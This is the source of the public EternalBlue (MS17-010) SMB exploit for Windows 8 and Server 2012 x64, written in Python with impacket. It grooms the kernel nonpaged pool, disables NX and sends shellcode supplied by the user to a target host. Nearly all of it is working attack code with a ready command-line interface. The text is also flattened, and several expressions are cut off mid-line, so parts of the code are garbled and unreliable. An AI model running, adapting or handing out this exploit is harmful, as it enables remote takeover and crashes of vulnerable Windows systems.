#!/usr/bin/python from impacket import smb from struct import pack import os import sys import socket ''' EternalBlue exploit for Windows 8 and 2012 by sleepya The exploit might FAIL and CRASH a target system (depended on what is overwritten) The exploit support only x64 target Tested on: - Windows 2012 R2 x64 - Windows 8.1 x64 Default Windows 8 and later installation without additional service info: - anonymous is not allowed to access any share (including IPC$) - tcp port 445 if filtered by firewall Reference: - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ - "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit Exploit info: - If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same - The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000). On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP. - The exploit is likely to crash a target when it failed - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) - See the code and comment for exploit detail. Disable NX method: - The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference) - The exploit is also the same but we need to trigger bug twice - First trigger, set MDL.MappedSystemVa to target pte address - Write '\x00' to disable the NX flag - Second trigger, do the same as Windows 7 exploit - From my test, if exploit disable NX successfully, I always get code execution ''' # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000 NTFEA_SIZE = 0x9000 ntfea9000 = (pack(' SrvNetCommonReceiveHandler() -> call fn_ptr fake_recv_struct = ('\x00'*16)*5 fake_recv_struct += pack('= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters() sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['AnsiPwdLength'] = 0 sessionSetup['Parameters']['UnicodePwdLength'] = 0 sessionSetup['Parameters']['Capabilities'] = 0x80000000 # set ByteCount here sessionSetup['Data'] = pack(' 0: pad2Len = (4 - fixedOffset % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = len(data) transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len transCommand['Parameters']['DataDisplacement'] = displacement transCommand['Data']['Trans_Parameters'] = '' transCommand['Data']['Trans_Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack(' 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() # must be success if recvPkt.getNTStatus() == 0: print('got good NT Trans response') else: print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus())) sys.exit(1) i = firstDataFragmentSize while i < len(data): sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i # connect to target and send a large nbss size with data 0x80 bytes # this method is for allocating big nonpaged pool on target def createConnectionWithBigSMBFirst80(target, for_nx=False): sk = socket.create_connection((target, 445)) pkt = '\x00' + '\x00' + pack('>H', 0x8100) # There is no need to be SMB2 because we want the target free the corrupted buffer. # Also this is invalid SMB2 message. # I believe NSA exploit use SMB2 for hiding alert from IDS #pkt += '\xffSMB' # smb2 # it can be anything even it is invalid pkt += 'BAAD' # can be any if for_nx: # MUST set no delay because 1 byte MUST be sent immediately sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) pkt += '\x00'*0x7b # another byte will be sent later to disabling NX else: pkt += '\x00'*0x7c sk.send(pkt) return sk def exploit(target, shellcode, numGroomConn): # force using smb.SMB for SMB1 conn = smb.SMB(target, target) # can use conn.login() for ntlmv2 conn.login_standard('', '') server_os = conn.get_server_os() print('Target OS: '+server_os) if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): print('This exploit does not support this target') sys.exit() tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False) # Another NT transaction for disabling NX nxconn = smb.SMB(target, target) nxconn.login_standard('', '') nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False) # create some big buffer at server # this buffer MUST NOT be big enough for overflown buffer allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target, for_nx=True) srvnetConn.append(sk) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() # hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target, for_nx=True) srvnetConn.append(sk) # remove holeConn to create hole for fea buffer holeConn.get_socket().close() # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # first trigger to overwrite srvnet buffer struct for disabling NX send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress) recvPkt = nxconn.recvSMB() retStatus = recvPkt.getNTStatus() if retStatus == 0xc000000d: print('good response status for nx: INVALID_PARAMETER') else: print('bad response status for nx: 0x{:08x}'.format(retStatus)) # one of srvnetConn struct header should be modified # send '\x00' to disable nx for sk in srvnetConn: sk.send('\x00') # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # second trigger to place fake struct and shellcode send_trans2_second(conn, tid, feaList[progress:], progress) recvPkt = conn.recvSMB() retStatus = recvPkt.getNTStatus() if retStatus == 0xc000000d: print('good response status: INVALID_PARAMETER') else: print('bad response status: 0x{:08x}'.format(retStatus)) # one of srvnetConn struct header should be modified # a corrupted buffer will write recv data in designed memory address for sk in srvnetConn: sk.send(fake_recv_struct + shellcode) # execute shellcode for sk in srvnetConn: sk.close() # nicely close connection (no need for exploit) nxconn.disconnect_tree(tid) nxconn.logoff() nxconn.get_socket().close() conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() if len(sys.argv) < 3: print("{} [numGroomConn]".format(sys.argv[0])) sys.exit(1) TARGET=sys.argv[1] numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) fp = open(sys.argv[2], 'rb') sc = fp.read() fp.close() if len(sc) > 4096: print('Shellcode too long. The place that this exploit put a shellcode is limited to 4096 bytes.') sys.exit() # Now, shellcode is known. create a feaList feaList = createFeaList(len(sc)) print('shellcode size: {:d}'.format(len(sc))) print('numGroomConn: {:d}'.format(numGroomConn)) exploit(TARGET, sc, numGroomConn) print('done')